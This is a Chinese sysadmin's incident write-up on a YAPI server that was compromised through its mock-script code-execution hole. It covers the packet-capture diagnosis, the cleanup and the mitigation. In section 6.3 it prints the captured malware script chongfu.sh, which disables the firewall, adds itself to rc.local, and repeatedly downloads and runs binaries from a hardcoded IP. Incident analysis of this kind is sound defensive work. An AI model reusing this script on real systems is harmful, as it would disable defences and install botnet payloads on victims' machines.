yapi漏洞挂马程序chongfu.sh处理

一.【背景】服务器网络卡顿,频繁对外发包,导致服务器网络崩溃。
二.【排查】
2.1 登陆异常服务器,通过top 未检查到异常的CPU 内存异常现象。
2.2 检查网络

 netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'

未发现异常,都是正常的tcp连接状态。
2.3 tcpdump 命令 抓包分析

 tcpdump -i enp3s0

14:53:48.496584 IP smtp-5.etopbags.info.dnp > 218.46046: Flags [R.], seq 0, ack 3002381902, win 0, length 0
14:53:48.496825 IP 218.46048 > smtp-5.etopbags.info.dnp: Flags [S], seq 361520383, win 29200, options [mss 1460,sackOK,TS val 2043795 ecr 0,nop,wscale 7], length 0
14:53:48.536622 IP smtp-5.etopbags.info.dnp > 218.46048: Flags [R.], seq 0, ack 361520384, win 0, length 0
14:53:48.536876 IP 218.46050 > smtp-5.etopbags.info.dnp: Flags [S], seq 914055455, win 29200, options [mss 1460,sackOK,TS val 2043836 ecr 0,nop,wscale 7], length 0
14:53:48.574447 IP smtp-5.etopbags.info.dnp > 218.46050: Flags [R.], seq 0, ack 914055456, win 0, length 0
14:53:48.574644 IP 218.46052 > smtp-5.etopbags.info.dnp: Flags [S], seq 908877290, win 29200, options [mss 1460,sackOK,TS val 2043873 ecr 0,nop,wscale 7], length 0
14:53:48.609252 IP smtp-5.etopbags.info.dnp > 218.46052: Flags [R.], seq 0, ack 908877291, win 0, length 0
14:53:48.609342 IP 218.46054 > smtp-5.etopbags.info.dnp: Flags [S], seq 3724761583, win 29200, options [mss 1460,sackOK,TS val 2043908 ecr 0,nop,wscale 7], length 0
14:53:48.646988 IP smtp-5.etopbags.info.dnp > 218.46054: Flags [R.], seq 0, ack 3724761584, win 0, length 0
14:53:48.647066 IP 218.46056 > smtp-5.etopbags.info.dnp: Flags [S], seq 1209043513, win 29200, options [mss 1460,sackOK,TS val 2043946 ecr 0,nop,wscale 7], length 0
14:53:48.681432 IP smtp-5.etopbags.info.dnp > 218.46056: Flags [R.], seq 0, ack 1209043514, win 0, length 0
14:53:48.681516 IP 218.46058 > smtp-5.etopbags.info.dnp: Flags [S], seq 1382946052, win 29200, options [mss 1460,sackOK,TS val 2043980 ecr 0,nop,wscale 7], length 0
14:53:48.722538 IP smtp-5.etopbags.info.dnp > 218.46058: Flags [R.], seq 0, ack 1382946053, win 0, length 0
14:53:48.722614 IP 218.46060 > smtp-5.etopbags.info.dnp: Flags [S], seq 572251828, win 29200, options [mss 1460,sackOK,TS val 2044021 ecr 0,nop,wscale 7], length 0
14:53:48.759004 IP smtp-5.etopbags.info.dnp > 218.46060: Flags [R.], seq 0, ack 572251829, win 0, length 0
14:53:48.759089 IP 218.46064 > smtp-5.etopbags.info.dnp: Flags [S], seq 3797818250, win 29200, options [mss 1460,sackOK,TS val 2044058 ecr 0,nop,wscale 7], length 0

发现异常,一直在对外smtp-5.etopbags.info.dnp ,发送报文

2.4 在通过抓包工具发现,目标端口20000一直在接收报文
yapi漏洞挂马程序chongfu.sh处理
2.5

netstat -lan |grep 20000

查看此监听端口的进程,发现是yapi的一个程序在执行。
/root/my-yapi/20000 此进程在执行
进入到此目录下,发现有异常文件。
yapi漏洞挂马程序chongfu.sh处理

三 【木马程序清理】
参考了此清理文档
https://zhuanlan.zhihu.com/p/90792899
3.1结束进程 ps aux | grep “20000” | grep -v grep | awk ‘{print $2}‘| xargs kill -9
3.2清除自动启动脚本 vim /etc/rc.local 去掉 sh /etc/chongfu.sh &
3.3清除 脚本 rm -rf /etc/chongfu.sh /tem/chongfu.sh
3.4修改登录密码 passwd
3.5重启。 reboot
好家伙,后续发现,此木马特别顽固。
用了多个系统文件名去伪装,同时又关联了多个定时重复脚本。经过完整清理,已处理完成。
四【定位漏洞】
4.1 为什么会在yapi的目录下生成木马文件?
4.2 此台服务器为内网服务器,密码及端口都有做好安全策略。
4.3 开始定位问题,登陆yapi管理员账号,发现有大量的异常注册者信息。
yapi漏洞挂马程序chongfu.sh处理
赶紧登陆github查看下
yapi漏洞挂马程序chongfu.sh处理
然后又查阅到
http://www.hackdig.com/07/hack-404188.htm
因YAPI远程代码执行0day漏洞暂无补丁,BillGates僵尸网络与Mirai僵尸网络木马家族主要利用受控主机进行DDoS攻击、留置后门或进行挖矿作业。腾讯安全专家建议采用YAPI接口管理平台的政企机构尽快采取以下措施缓解漏洞风险:

1.部署腾讯云防火墙实时拦截威胁;

2.关闭YAPI用户注册功能,以阻断攻击者注册;
3.删除恶意已注册用户,避免攻击者再次添加mock脚本;
4.删除恶意mock脚本,防止再被访问触发;
5.服务器回滚快照,可清除利用漏洞植入的后门。

五【yapi问题修复】
5.1 优先把外网地址去除了。
5.2 按照github的建议,把用户注册给关闭掉了。
六【木马程序复盘】
6.1攻击者首先注册功能先注册账号,登录账号后才能自定义mock脚本。
6.2攻击者通过mock脚本中植入恶意命令,待用户访问mock接口发起请求时触发命令执行。
然后就出现上面那一幕了。
6.3 木马程序脚本

#!/bin/bash
#Welcome like-minded friends to come to exchange.
#We are a group of people who have a dream.
#                qun:10776622
#                2016-06-14
iptables -F
/etc/init.d/iptables stop
chkconfig iptables off
echo "chmod +x /tmp/X64" >> /etc/rc.local
echo "/tmp/X64 SHX64" >>  /etc/rc.local
echo "chmod +x /tmp/ShouHu" >> /etc/rc.local
echo "/tmp/ShouHu SHX64" >>  /etc/rc.local
m=X64 SHX64
script=ShouHu SHX64
hfs_m=http://27.50.49.61:2131/X64
hfs_s=http://27.50.49.61:2131/ShouHu
rm -f /tmp/$m*
while true

do
    ps aux | grep $m | grep -v grep
    if [ $? -eq 0 ];then
         sleep 10
    else
                ls -l /tmp/$m
                        if [ $? -eq 0 ];then
                         /tmp/$m
                        else
    cd /tmp/;wget $hfs_m ; chmod a+x $m;/tmp/$m
        fi
   fi
    ps aux | grep $script | grep -v grep
    if [ $? -eq 0 ];then
         sleep 10
    else
        ls -l /tmp/$script
    if [ $? -eq 0 ];then
         /tmp/$script
        else
cd /tmp;wget $hfs_s ; chmod a+x $script;/tmp/$script
        fi
   fi
done
上一篇:java邮件发送报错: Couldn‘t connect to host, port: smtp.exmail.qq.com, 25; timeout -1


下一篇:python发送电子邮件用到的模块与函数